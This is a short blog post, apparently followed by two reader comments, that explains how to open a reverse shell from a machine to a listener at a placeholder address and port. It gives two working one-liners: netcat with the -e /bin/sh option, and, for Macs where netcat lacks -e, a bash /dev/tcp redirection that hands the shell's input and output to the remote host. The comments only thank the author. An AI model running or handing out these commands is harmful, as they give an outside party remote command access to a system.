nc <addr> <port> -e /bin/sh
However, nc on Mac does not have -e option. Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus, instead of using nc for reverse binding shell, we can simply use this command:
/bin/bash 0</dev/tcp/addr/port 1>&0 2>&0
Note this will not work on default Debian machines. You have to enable bash network redirection to use this.
Useful reference: http://shudder.daemonette.org/source/BashNP-Guide.txt
Heck yeah this is exactly what I neeedd.
ReplyDeleteYours is a cveler way of thinking about it.
ReplyDelete